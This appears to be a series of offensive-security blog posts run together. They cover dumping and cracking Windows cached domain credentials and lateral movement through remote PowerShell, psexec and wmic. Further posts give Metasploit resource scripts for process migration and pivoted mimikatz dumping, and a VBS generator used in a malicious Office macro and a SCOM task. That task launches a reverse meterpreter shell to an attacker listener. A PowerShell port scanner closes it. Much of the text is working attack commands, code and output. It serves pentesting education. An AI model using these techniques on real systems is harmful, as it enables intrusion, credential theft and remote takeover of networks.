MSCash Hash Primer for Pentesters

Pass the hash is dead. Just kidding. Although Windows 8.1/2012R2 has some good improvements to help slow down lateral movement on a Windows network, pass the hash style attacks are still obviously a good way to spread out as a pentester/attacker. Here’s the scenario to keep in mind: you’re a local admin on a domain joined Server 2012R2 box and want to spread out.

Let me expand a little on why you’d ever want to look at MS Cache.

In our scenario above, first you might think mimikatz. LSASS is a protected process now, but that might not matter much. Mimikatz has a legitimately signed driver. Okay, this is great. But maybe the ops team has a rule looking for drivers being loaded and you don’t want to load a driver. Or worse, maybe everyone has logged off of the box and they’re only logging in with Network login. With 2008R2, credentials seemed to usually be cached in LSASS the next reboot, but this has changed in 2012R2. Now when users log out, their credentials are no longer cached (afaik). As an aside, this might be a good thing to keep in mind with disconnected RDP sessions since the users are still logged in.

Without touching LSASS, you can also use token impersonation to get a similar effect. But this still requires a user to be logged in to take their tokens. There are also some nice things about eventually getting a hash or cleartext password rather than a token. Like even if a token can be used on that domain, a cleartext hash allows you to check for password reuse (or look for password variants if you can get the cleartext).

There are a lot of ways to go even if nobody’s logged in. You could be a pirate, trigger AV and see if an ops user logs in interactively. You could setup an NTLM relayer to pass credentials of something, maybe the Qualys box. But one thing that’s often overlooked (at least by old me) is MS cache.

An Overview of MS Cache

The terminology can be confusing. Although the MS cache hash is a hash of the user’s password, it’s a distinct value from the user’s hash that you’d use to directly pass the hash. You can’t expect to forward it and for things to work. A good overview is on the jtr wiki here.

What happens when you are in front of a Windows machine, which has a domain account and you can’t access the domain (due to network outage or domain server shutdown)? Microsoft solved this problem by saving the hash(es) of the last user(s) that logged into the local machine. These hashes are stored in the Windows registry, by default the last 10 hashes.

The number of logins cached can be configured with group policy, as described here: http://technet.microsoft.com/en-us/library/jj852209.aspx. The passwords seem to be cached this way with any interactive login (not just local).

The algorithm for this is well understood. It’s PBKDF2(HMAC-SHA1, 10240, DCC1, username). Python has an implementation here

>>> from passlib.hash import msdcc2
>>> hash = msdcc2.encrypt("Password123", user="test2")
>>> print hash
'd7f91bcdec7c0df39396b4efc81123e4'

Anyway. The only source of entropy for these MS cache hashes is the username. To be clear, the salt does not include the domain, the computer, etc. This is better than a normal hash which does not include the username either, but it is still not great. To illustrate this concept:

# Machine: client1.rlundtest2.local // Server 2012R2
# User: test2
# password is Password123
# NT MSCASH Hash: D7F91BCDEC7C0DF2929B4EFC81123E4
# NT Hash: 58a478135a93ac3bf058a5ea0e8fdb71

# Machine: client2.differentdomain.local // Server 2008R2
# User: test2
# password is Password123
# NT MSCASH Hash: D7F91BCDEC7C0DF2929B4EFC81123E4
# NT Hash: 58A478135A93AC3BF058A5EA0E8FDB71

# Machine: client1.rlundtest2.local // Server 2012R2
# User: mopey
# password is Password123
# NT MSCASH Hash: 9721A87936592047EEF768B9AE603757
# NT Hash: 58a478135a93ac3bf058a5ea0e8fdb71

With the normal NT hashes, the hash is always the same given a password (i.e. This is why pass the hash works across domains). With MS cache hashes it takes the username as entropy, but usernames aren’t random. If the “Administrator” account has the same password across domains, this MS cache hash is constant. Besides builtins like Administrator, this is also interesting in organizations that have several separate domains, but usernames are constant between them.

Another thing to hammer in again. The NT Hash seems to be cached in server2012R2 only when the user is logged in, and in server 2008R2 until the next reboot. But (if configured to cache things, like it does by default) the MSCache hash is stored in a registry hive and will persist across reboots.

Extracting and using the Cache hashes

These hashes are stored in an obfuscated way in the registry, and getting at them is comparable to getting at local SAM accounts. Cachedump is one tool, although the source code seems to 404. Quarkspwdump is another tool, use “QuarkspwDump.exe -dhdc”. Metasploit also has a post exploit module, cachedump, that does this.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > background
[*] Backgrounding session 1...
msf exploit(psexec) > use post/windows/gather/cachedump
msf post(cachedump) > show options
Module options (post/windows/gather/cachedump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DEBUG    false            yes       Debugging output
   SESSION                   yes       The session to run this module on.

msf post(cachedump) > set SESSION 1
SESSION => 1

msf post(cachedump) > run

[*] Executing module against CLIENT1
[*] Cached Credentials Setting:  - (Max is 50 and 0 disables, and 10 is default)
[*] Obtaining boot key...
[*] Obtaining Lsa key...
[*] Vista or above system
[*] Obtaining LK$KM...
[*] Dumping cached credentials...
[*] Hash are in MSCACHE_VISTA format. (mscash2)
[*] MSCACHE v2 saved in: /root/.msf4/loot/20140201152655_default_192.168.137.147_mscache2.creds_064400.txt
[*] John the Ripper format:
# mscash2
...
test2:$DCC2$#test2#d7f91bcdec7c0df39396b4efc81123e4:RLUNDTEST2.LOCALt:RLUNDTEST2

This theoretically is put in a format that john the ripper understands, but unfortunately John on Kali doesn’t seem to understand the format (it will run, but even with a wordlist the password doesn’t crack). For better luck, simply put it in “username:hash”

$ cat mscash.txt
test2:d7f91bcdec7c0df39396b4efc81123e4
$ john --format=mscash2 ./mscash.txt
Loaded 1 password hash (M$ Cache Hash 2 (DCC2) PBKDF2-HMAC-SHA-1 [128/128 SSE2 intrinsics 4x])
Password123      (test2)
guesses: 1  time: 0:00:00:00 DONE (Mon Feb  3 09:03:34 2014)  c/s: 14.28  trying: password - Password123
Use the "--show" option to display all of the cracked passwords reliably

Other crackers seem to support this format also, like hashcat (untested) and Cain.

cain

Slowness (update)

I’ve seen some twitter activity around how this is “new pass the hash on windows 8.1″. This isn’t the case, although I do poke fun at the “pass the hash is dead” stuff. When I first published this, I should have expanded on how slow this cracking can be. JTR wiki says

The far from optimized MSCash2 algorithm provided in the sample code below and used in the corresponding MSCash2 JtR patch generates about 330 DCC2 hashes/sec (MSCash2) on an Intel Core2 Quad CPU Q6700, compared to 58.8 millon DCC1 hashes/sec (MSCash). In other words, incremental brute-force attacking for different search spaces, depending on the character set and the password length, will take ages. So it is a good idea to do some intelligent password guessing when attacking DCC2 hashes, i.e. rule-based dictionary and probabilistic attacks.

By default a lot of these could also be pre computed and put into rainbow tables. Although the iteration count is apparently configurable and could make this not practical.

</update>
The end, thanks for reading! Are greetz still a thing? Thanks to my friend Dave for help on this.

Code Execution (Post Exploit) Order of Operations

[quick post this month, probably lower quality than usual because I'm traveling in china and writing this on a bus]

With a cleartext windows admin password in hand, there are of course multiple ways to execute code. How do other pentesters do this? If you do it differently than I do, what’s your motivation? This isn’t rhetorical – I hope both of you who read this blog let me know :)

In general, I try not to stay too rigid. In my opinion, it’s best to mimic how real operations folks operate. That said, I do have an order of preferred ways to execute remote code. Any of these could potentially be audited as a “we’re pwned” event for a blue team, but some are inherently noisier than others.

1. Remote powershell

This seems to be the most sneaky method. First, if remote powershell is enabled, people are probably using it, so you using it may not stand out. Further, if you code without using .net fragments, nothing is written to disk at all – it’s all in memory (caveat is if you compile C# in your powershell it will write artifacts to disk). If port 5985/5986 is open, this is a good bet.

$comm = {Invoke-Portscan -Hosts 192.168.1.1/24 -SkipDiscovery -noProgressMeter -Ports 443}

$secpasswd = ConvertTo-SecureString "Password" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("DOMAIN\muser", $secpasswd)
Invoke-Command -ComputerName mcomputer -Credential $mycreds -ScriptBlock $comm

2. powershell over psexec

This starts a service as system (usually), which can be noisy. Additionally, you often want to execute your own thing, which will require you to upload it to the box you’re attacking. But that said, psexec is also a common real administration method. I often find psexec already installed on many utility boxes. If port 445 is open, this is usually the method I try next – uploading a powershell script to the server and then executing it with psexec.

#powershell over psexec
#psexec has the -c option for copying executables, but doesn't work with scripts like this as well
#(because powershell.exe is the executable)

$servername = "192.168.137.100"
$username = "192.168.137.100\Administrator"
$password = "password"

$LocalOutFile = "out.txt"
$LocalPS = "mim.ps1"

$psFile = "10982124.ps1"


net use q: \\$servername\c$\Windows\Temp /user:$username $password | Out-Null
copy $LocalPS q:\$psFile
& cmd /c echo "." | psexec.exe /accepteula -u $username -p $password \\$servername powershell -executionpolicy bypass c:\Windows\Temp\$psFile >> "out.txt" 2>&1

del q:\$psFile
net use q: /delete | Out-Null

3. powershell over wmic

Even if you’re an admin on the box and you can reach port 445, psexec can be effectively disabled, for example if the ADMIN$ share is not set (i.e. you can see this access denied when admin$ is requested in a packet dump, and you can also see it in the registry at HKLM:Software\MicroSoft\Windows\CurrentVerision\Policies\System\LocalAccountTokenFilterPolicy). Anyway, if psexec and remote powershell both aren’t options, wmic has always come through for me.

$servername = "192.168.137.100"
$username = "192.168.137.100\Administrator"
$password = "password"
$LocalOutFile = "out.txt"
$LocalPS = "mim.ps1"
$psFile = "10982124.ps1"
$outFile = "99120997.nss"

#copy .ps1 to the remote server
net use q: \\$servername\c$\Windows\Temp /user:$username $password | Out-Null
copy $LocalPS q:\$psFile

#redirect output to a file on the remote server
wmic /user:$username /password:$password /node:$servername PROCESS call create "powershell -executionpolicy bypass c:\Windows\Temp\$psFile >> c:\Windows\Temp\$outFile"

#wait for execution to finish
sleep 30

#copy output back and cleanup
del q:\$psFile
copy q:\$outfile out.txt
del q:\$outFile
net use q: /delete | Out-Null

4. RDP

I’ve never HAD to use RDP, and it’s super noisy, but some things are easier with a desktop. I usually try to avoid this if I can, but especially if remote powershell isn’t enabled and 3389 is open, I’ll sometimes just go straight for RDP.

In addition to the four methods I mention above (remote ps, psexec, wmic, and RDP) there are a few other ways, at least including AT, dropping files in specific places, etc. But I can almost always get the code execution I want with above.

A few Metasploit Post Exploit Resource Scripts

Some of this code is fairly ugly and copy/pasted between files. It is meant for one-offs within a pentest, not necessarily extended and built on. Still, it’s been useful and it might be helpful for those wanting to automate similar things. Plus it was built for real, not just in a lab, so at least it works sometimes :)

Spooler Migrate

[code]

This was inspired (and some bits copied) from the smart_migrate module. smart_migrate migrates to explorer.exe or starts an instance. Sometimes this isn’t what you want to do. Say you’re running as system – explorer likely is not running in this context, and starting it as system might be suspicious. Also, in my testing when meterpreter timed out it would crash the process you’re executing in, so sometimes it needed to be restarted (not to mention you might not want to migrate to something more critical for persistence).

This module checks if a print spooler is running and migrates it (and if it’s not started, it starts it, then migrates to it).

Usage Example:

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM
meterpreter > background 
[*] Backgrounding session 1...
msf exploit(psexec) > setg SESSION 1
SESSION => 1
msf exploit(psexec) > resource spooler_migrate.rc 
[*] Processing spooler_migrate.rc for ERB directives.
[*] resource (spooler_migrate.rc)> Ruby Code (917 bytes)
[*] migrating to spooler
[*] done migrating
msf exploit(psexec) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getpid 
Current pid: 1248
meterpreter > ps

Process List
============

 PID   PPID  Name               Arch  Session     User                          Path
 ---   ----  ----               ----  -------     ----                          ----
 0     0     [System Process]         4294967295                                
...
 1248  488   spoolsv.exe        x86   0           NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe

It should not take much effort to customize the script, for example, to set it as autorun or to have it run on all sessions with system.

Pivoted Mimikatz through PS Remoting or PSExex

[code]

During a pentest, it’s fairly common to have code execution on one host and using that host to pivot. Behold, visio skillz

pivotpirate

Although it’s usually nicer to do everything through remote powershell, there are times when it’s not available. In those cases, it might be necessary to fall back on something else like psexec.

This script does the following

  1. Pivots through a session
  2. Port scans a few ports to see what services are up
  3. Runs mimikatz through remote powershell , if it’s available. This is better because the ps1 is never written to disk (this script writes powershell to our pivot box, but nothing ever touches the target box). See my coworker’s blog on the powershell details here.
  4. If remote powershell isn’t available, copy the powershell script over and psexec

Additionally, this script takes user/pass arguments. This is useful, for example, if you’re executing as SYSTEM on a box nobody’s logged into but you’d like to execute as code on another box as a domain user.

One obvious improvement is it could be parallized so you’re running on multiple hosts at once. This wasn’t an issue for me because my scale wasn’t that size, and this script should work fine for a few thousand hosts as long as you’re willing to let it run for a few hours.

msf exploit(psexec) > setg RHOST_FILE res_data/hostfile.txt
RHOST_FILE => res_data/hostfile.txt
msf exploit(psexec) > setg SESSION 1
SESSION => 1
msf exploit(psexec) > setg duser TEST.local\\mopey
duser => TEST.local\mopey
msf exploit(psexec) > setg dpass password
dpass => password
msf auxiliary(smb_enumshares) > resource mimikatz_remote.rc 
[*] Processing mimikatz_remote.rc for ERB directives.
[*] resource (mimikatz_remote.rc)> Ruby Code (8313 bytes)
#####################
# Beginning AD.rlundtest.local
#####################
#####################
# Routing through Session 1
#####################
SESSION => 1
HOSTNAME => AD.rlundtest.local

[*] AD.rlundtest.local resolves to 192.168.137.100
[*] Post module execution completed
NETMASK => 255.0.0.0
SUBNET => 192.168.137.100
[*] Running module against CLIENT5
[*] Adding a route to 192.168.137.100/255.0.0.0...
[*] Post module execution completed
#####################
# PORTSCANNING AD.rlundtest.local
#####################
RHOSTS => 192.168.137.100
PORTS => 5985,5986,445
[*] 192.168.137.100:5985 - TCP OPEN
[*] 192.168.137.100:445 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
AD.rlundtest.local
SMB is enabled. Use this if remote ps is disabled
Powershell looks enabled, using that rather than SMB
#####################
# Running Mimikatz on RLUNDTEST.local\mopey on  AD.rlundtest.local
#####################
uploading to C:\Windows\TEMP\hOllYmPh.ps1
uploading to /tmp/Invoke-ReflectivePEInjection.ps1.tmp
Executing the following command over remote powershell
cmd /c echo "." | powershell -Executionpolicy bypass -Command "& C:\Windows\TEMP\hOllYmPh.ps1  >> "C:\Windows\TEMP\snWgndjt"
saving output in /root/.msf4/logs/mimi/AD.rlundtest.local-20130927:233757.txt
Cleaning remote files
#####################
# Cleaning up: Resetting routes
#####################
msf auxiliary(tcp) > cat //root/.msf4/logs/mimi/AD.rlundtest.local-20130927:233757.txt
[*] exec: cat //root/.msf4/logs/mimi/AD.rlundtest.local-20130927:233757.txt

Authentication ID         : 0;996
Authentication Package    : Negotiate
Primary user              : AD$
Domain authentication     : RLUNDTEST
....

For the psexec part of this to work I submitted three pull requests to fix minor issues in how metasploit lists files. Two hav been accepted (1 2), but the other has not (at least not yet). Feel free to use that branch, or you could always use another psexec payload of your choice. The old psexec_command will also work for some payloads, they just can’t take a long time or return binary data.

This should be easy to customize and can be quite useful. Say you’d like to execute a powershell script through remote powershell, wmic, or psexec (in that order of preference) but don’t know what’s enabled. You can run a modified version of this script and hit a bunch of hosts.

Pivoting and Looking for Password Reuse between things

[code]

Another pivoting example. Say you’ve pwned one domain, like you’ve dumped the hashes from the domain controller, but want to check for password reuse on the second. This is a script for that type of scenario. Looking at the diagram below, you might say, but there’s a brick wall in front of pivot pirate. But aha, there are red arrows.

pivotpirate2

  1. Pivots through a session
  2. Picks a random host from a hostfile
  3. Checks port 445
  4. Runs smb_login through session

Usage is similar to the last couple scripts. Additionally, it could be sped up significantly if it were parallelized, but one hash at a time was plenty fast for my use.

Yet another VBS pwncode generator

[gen_vbs.py]

The reason why there are tools like this is (probably) because nobody likes writing their malicious stuff in vbs, but sometimes vbs is the only way you can execute code.

Here are the two vbscript shellcode things I’ve used in the past: one from didierstevens, and one in metasploit. A common theme is that both of these seem to basically make a call to virtualalloc, move shellcode there, and execute it. They also both seem to flag on my AV, which after taking a bunch of stuff out, seems to just trigger on virtualalloc in vbscript whether or not it’s malicious (but I’m not 100% sure what it’s flagging on).

My script gen_vbs.py is slightly different. It will encode a file as base64 as part of the script, and then write that file to disk (this could be an exe, powershell or more vbs!). It can then execute that file. This allows quite a bit of flexability. I’ve put the script on github.

Office Doc Macros Example

This will walk through creating vbscript that will start calc when someone opens an Office document after they click through a warning. With very slight modifications you could connect back meterpreter, which I’ll show the steps in the scom example after this.

First, generate the vbscript (there isn’t much here since all it’s doing is executing calc and has no file to write)

#python gen_vbs.py --cmd="C:\\Windows\\System32\\calc.exe" --office --debug

Option Explicit

Const TypeBinary = 1
Const ForReading = 1, ForWriting = 2, ForAppending = 8

Private Function getVar(mvar)
  Dim objshell
  Dim envObj
  Set objshell = CreateObject("WScript.Shell")
  Set envObj = objshell.Environment("PROCESS")
  getVar = envObj(mvar)
End Function
Private Sub execfile()
  Dim cmd
  cmd = "C:\Windows\System32\calc.exe"
  cmd = Replace(cmd, "%TEMP%", getVar("temp"))
  cmd = Replace(cmd, "%SYSTEMROOT%", getVar("windir"))
  Dim runObj
  Set runObj = CreateObject("Wscript.Shell")
  runObj.run cmd, 0, true
End Sub
  
Sub AutoOpen()
   execfile
End Sub

Notice the AutoOpen() command, which will trigger when a word document is opened (if the settings allow it). There are several other places to trigger functions, such as AutoClose(). Here are several.

Anyway, create a new word document. I’m using Office 2013. Then go to view -> macros.

viewmacro

Click create, and paste the vbscript in the file.

What happens when a user opens it depends on their macro settings. The default is to “Disable all macros with notification”, so they’ll probably get a nasty warning like this.

disabled_macros

If they open the document and enable macros, calc will run. It’s one of the oldest social engineer things on earth.

macro_run

SCOM Example

My good friend Justin gave an awesome talk at defcon. One of the examples he gave was code execution on the domain controller through a compromised SCOM monitoring server. SCOM boxes are often more exposed than a domain controller, and can run arbitrary code on other boxen (like domain controllers). But guess what? They do it through vbscript.

First let’s figure out what we want to execute. I’m using powersploit as the stage one for a reverse metasploit meterpreter shell. So I grab Invoke-Shellcode and add the following line to the ps1

Invoke-Shellcode -Force -Payload windows/meterpreter/reverse_https -Lhost 192.168.3.154 -UserAgent "Microsoft Word" -Lport 443

Next, let’s generate our vbscript so the powershell executes on the server we want. Call my script like this

# python gen_vbs.py --inputFile ./Invoke-Shellcode.ps1 \
--writeFilePath="%TEMP%\\invoke_ping.ps1" \
-cmd="%SYSTEMROOT%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe \
-executionpolicy bypass  %TEMP%\\invoke_ping.ps1" > output.vbs

and set up a reverse meterpreter listener

msf > use exploit/multi/handler 
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST x.x.x.x
LHOST => 192.168.138.154
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit

[*] Started HTTPS reverse handler on https://192.168.138.154:443/
[*] Starting the payload handler...

Justin has a walkthrough of this on the youtube video from his blog, but the quick version is:Start SCOM console, connect to the server with the account, go to “Authoring -> Tasks -> Create a new task”

scom1

Follow the prompts. We want to run this on Windows servers. Let’s name in “Extended Ping”. Then paste the vbscript generated by the tool and create the task.

scom3

Go to the “Monitoring” tab, and now you’re free to execute our new task on any servers we’re monitoring

scom4

Run, and we get our meterpreter shell as system.

meterpreter

Powershell Portscanner

Here is the github link: https://github.com/webstersprodigy/PowerSploit/blob/Portscan/Recon/Invoke-Portscan.ps1. I’ve also put in a pull request on the awesome powersploit project, where hopefully it gets accepted and finds a more permanent home.

The first question is, why another port scanner?

  1. Similar to why you’d do anything in powershell in a post exploitation scenario :) You never have to write to disk, install software, or run as admin. You can just run this on any box with powershell. Nmap is better in most ways, but it doesn’t fit this bill.
  2. There are other powershell portscanners out there. Although they are good, in my opinion this is better than all of these existing scripts. For example, the one I linked to isn’t bad in any way, and is in fact the best I found comparable to what I’ve written. But it will take orders of magnitude longer to do scans, it’s not as flexible on the input options, it won’t work in powershell 2.0 out of the box (important for scenarios like I describe below), it doesn’t support ipv6, etc.
  3. Metasploit has auxilliary portscanners and it is also possible to pivot nmap scans through socks. IMO these are too slow to be usable. This looks promising http://blog.securestate.com/new-meterpreter-extension-released-msfmap-beta/ and it might be a better option if you do all your pwning through meterpreter.

Example 1 – Quick Sweep

You’ve compromised a host and you want to quickly see what other hosts/common ports are available on the same network. Say the sysadmins use RDP to manage the domain, so you’re using RDP on this host too. You don’t want to install any new software just now. My typical workflow is to actually just use -oA, which will output greppable, readable and xml files (sort of like nmap) and I use those to peruse the output. Depending on the number of hosts up, this should take about two minutes or so and it’s checking the top 50 ports.

PS> Import-Module .\Invoke-Portscan.ps1
PS> Invoke-Portscan -hosts "192.168.1.0/24" -oA stuff
PS> type .\alltest.gnmap | findstr Open
Host: 192.168.1.1       Open Ports: 443,53,22,5000
...

pscan

The module also outputs valid powershell objects, so you can save/pipe these and do the usual operations. Below is answering almost the same question

PS> Import-Module .\Invoke-Portscan.ps1
PS> $a = Invoke-Portscan -hosts "192.168.1.0/24"
PS> #print out only alive hosts
PS> foreach ($h in $a) {if ($h.alive) {$h}}

Hostname      : 192.168.1.1
alive         : True
openPorts     : {443, 53, 22, 5000}
closedPorts   : {}
filteredPorts : {80, 23, 21, 3389...}
finishTime    : 6/30/2013 11:56:54 AM

...

Example 2: Finding the way in

There are certain questions that can be hard to answer with traditional portscanning (nmap, metasploit, etc.). Say I have code execution on N boxes, but I want to make it to the “jewell box”. I currently can’t access it, but one of my N boxes may be able to access it, or something “closer” to the jewell. This can be common if they open up only certain ports and routes with IP whitelisting in related but separate environments. Behold my awesome visio skills as I demonstrate:

vlan

So what we want to do is tell all of our N boxes to scan all the hosts in vlan C, the place with the jewel, and see if any of our N boxes are able to reach it.

We can modify the invoke-powershell.ps1 script slightly to include our command at the end of it, outside of the function. This is similar to the basic usage above. But rather than execute it once, we want to try a portscan on the N hosts we control. Here is the line added to invoke-portscan, where 10.0.10.0 is the “jewel” network.

Invoke-Portscan -Hosts 10.0.10.0/24 -PingOnly -PS "80,443,445,8080,3389" -noProgressMeter

Now on the N hosts we control, we can use remote powershell, if it’s enabled. Here is a one liner that can call our modified script on a box that has remote powershell enabled. This can be easily customized to loop through all of your hosts, depending on how they auth, etc.

$a = Invoke-Command -ComputerName webstersprodigy.cloudapp.net -Port 54932 -Credential lundeen -UseSSL -FilePath C:\psScripts\Invoke-Portscan-mod.ps1

Another way to do this (other than remote powershell) is psexec. This will be executed on every host in hostfile.txt, so we’ll know about any host that can reach our destination. Obviously this is quick and dirty, but it demonstrates the flexibility.

$oFile = "pscan.txt"
$thosts = Get-Content hostfile.txt

foreach ($thost in $thosts)
{
    $nPath = "\\$thost\c$\Windows\Temp\stuff.ps1"
    copy -Path C:\Users\mopey\Desktop\Invoke-Portscan-mod.ps1 -Destination $nPath
    #psexecing powershell directly hangs as described here 
    #http://www.leeholmes.com/blog/2007/10/02/using-powershell-and-psexec-to-invoke-expressions-on-remote-computers/

    $myoutput = PsExec.exe /accepteula \\$thost cmd /c "echo . | powershell.exe -executionpolicy bypass $nPath"  2>&1 

    foreach($line in $myoutput) {
        Write-Host $line
        if($line.GetType().Name -eq "string") {
            if($line.Contains("True")) {
                echo "Source: $thost" >> $oFile
                break
            }
        }
    }
    remove-item $nPath
}

Conclusion and Lazy Reference

Thanks for reading, and let me know if you try it out, find it useful, have suggestions, etc. For the lazy, here is a reference to the args and some more examples, included with the source

> Get-Help Invoke-Portscan -full

NAME
    Invoke-Portscan
    
SYNOPSIS
    Simple portscan module
    
    PowerSploit Function: Invoke-Portscan
    Author: Rich Lundeen (http://webstersProdigy.net)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None
    
SYNTAX
    Invoke-Portscan -Hosts <String[]> [-ExcludeHosts <String>] [-Ports <String>] [-PortFile <String>] [-TopPorts <String>] [-ExcludedPorts <String>] 
    [-SkipDiscovery] [-PingOnly] [-DiscoveryPorts <String>] [-Threads <Int32>] [-nHosts <Int32>] [-Timeout <Int32>] [-SleepTimer <Int32>] [-SyncFreq <Int32>] 
    [-T <Int32>] [-GrepOut <String>] [-XmlOut <String>] [-ReadableOut <String>] [-AllformatsOut <String>] [-noProgressMeter] [-quiet] [-ForceOverwrite] 
    [<CommonParameters>]
    
    Invoke-Portscan -HostFile <String> [-ExcludeHosts <String>] [-Ports <String>] [-PortFile <String>] [-TopPorts <String>] [-ExcludedPorts <String>] 
    [-SkipDiscovery] [-PingOnly] [-DiscoveryPorts <String>] [-Threads <Int32>] [-nHosts <Int32>] [-Timeout <Int32>] [-SleepTimer <Int32>] [-SyncFreq <Int32>] 
    [-T <Int32>] [-GrepOut <String>] [-XmlOut <String>] [-ReadableOut <String>] [-AllformatsOut <String>] [-noProgressMeter] [-quiet] [-ForceOverwrite] 
    [<CommonParameters>]
    
    
DESCRIPTION
    Does a simple port scan using regular sockets, based (pretty) loosely on nmap
    

PARAMETERS
    -Hosts <String[]>
        Include these comma seperated hosts (supports IPv4 CIDR notation) or pipe them in
        
        Required?                    true
        Position?                    named
        Default value                
        Accept pipeline input?       true (ByValue)
        Accept wildcard characters?  false
        
    -HostFile <String>
        Input hosts from file rather than commandline
        
        Required?                    true
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -ExcludeHosts <String>
        Exclude these comma seperated hosts
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -Ports <String>
        Include these comma seperated ports (can also be a range like 80-90)
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -PortFile <String>
        Input ports from a file
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -TopPorts <String>
        Include the x top ports - only goes to 1000, default is top 50
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -ExcludedPorts <String>
        Exclude these comma seperated ports
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -SkipDiscovery [<SwitchParameter>]
        Treat all hosts as online, skip host discovery
        
        Required?                    false
        Position?                    named
        Default value                False
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -PingOnly [<SwitchParameter>]
        Ping scan only (disable port scan)
        
        Required?                    false
        Position?                    named
        Default value                False
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -DiscoveryPorts <String>
        Comma separated ports used for host discovery. -1 is a ping
        
        Required?                    false
        Position?                    named
        Default value                -1,445,80,443
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -Threads <Int32>
        number of max threads for the thread pool (per host)
        
        Required?                    false
        Position?                    named
        Default value                100
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -nHosts <Int32>
        number of hosts to concurrently scan
        
        Required?                    false
        Position?                    named
        Default value                25
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -Timeout <Int32>
        Timeout time on a connection in miliseconds before port is declared filtered
        
        Required?                    false
        Position?                    named
        Default value                2000
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -SleepTimer <Int32>
        Wait before thread checking, in miliseconds
        
        Required?                    false
        Position?                    named
        Default value                500
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -SyncFreq <Int32>
        How often (in terms of hosts) to sync threads and flush output
        
        Required?                    false
        Position?                    named
        Default value                1024
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -T <Int32>
        [0-5] shortcut performance options. Default is 3. higher is more aggressive. Sets (nhosts, threads,timeout)
            5 {$nHosts=30;  $Threads = 1000; $Timeout = 750  }
            4 {$nHosts=25;  $Threads = 1000; $Timeout = 1200 }
            3 {$nHosts=20;  $Threads = 100;  $Timeout = 2500 }
            2 {$nHosts=15;  $Threads = 32;   $Timeout = 3000 }
            1 {$nHosts=10;  $Threads = 32;   $Timeout = 5000 }
        
        Required?                    false
        Position?                    named
        Default value                0
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -GrepOut <String>
        Greppable output file
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -XmlOut <String>
        output XML file
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -ReadableOut <String>
        output file in 'readable' format
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -AllformatsOut <String>
        output in readable (.nmap), xml (.xml), and greppable (.gnmap) formats
        
        Required?                    false
        Position?                    named
        Default value                
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -noProgressMeter [<SwitchParameter>]
        Suppresses the progress meter
        
        Required?                    false
        Position?                    named
        Default value                False
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -quiet [<SwitchParameter>]
        supresses returned output and don't store hosts in memory - useful for very large scans
        
        Required?                    false
        Position?                    named
        Default value                False
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    -ForceOverwrite [<SwitchParameter>]
        Force Overwrite if output Files exist. Otherwise it throws exception
        
        Required?                    false
        Position?                    named
        Default value                False
        Accept pipeline input?       false
        Accept wildcard characters?  false
        
    <CommonParameters>
        This cmdlet supports the common parameters: Verbose, Debug,
        ErrorAction, ErrorVariable, WarningAction, WarningVariable,
        OutBuffer and OutVariable. For more information, see 
        about_CommonParameters (http://go.microsoft.com/fwlink/?LinkID=113216). 
    
INPUTS
    
OUTPUTS
    
NOTES
    
    
        version .13
    
    -------------------------- EXAMPLE 1 --------------------------
    
    C:\PS>Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50
    
    
    Description
    -----------
    Scans the top 50 ports for hosts found for webstersprodigy.net,google.com, and microsoft.com
    
    
    
    
    
    -------------------------- EXAMPLE 2 --------------------------
    
    C:\PS>echo webstersprodigy.net | Invoke-Portscan -oG test.gnmap -f -ports "80,443,8080"
    
    
    Description
    -----------
    Does a portscan of "webstersprodigy.net", and writes a greppable output file
    
    
    
    
    
    -------------------------- EXAMPLE 3 --------------------------
    
    C:\PS>Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 25 -oA localnet
    
    
    Description
    -----------
    Scans the top 20 ports for hosts found in the 192.168.1.1/24 range, outputs all file formats
    
    
    
    
    
    
RELATED LINKS

http://webstersprodigy.net

Follow

Get every new post delivered to your Inbox.

Join 33 other followers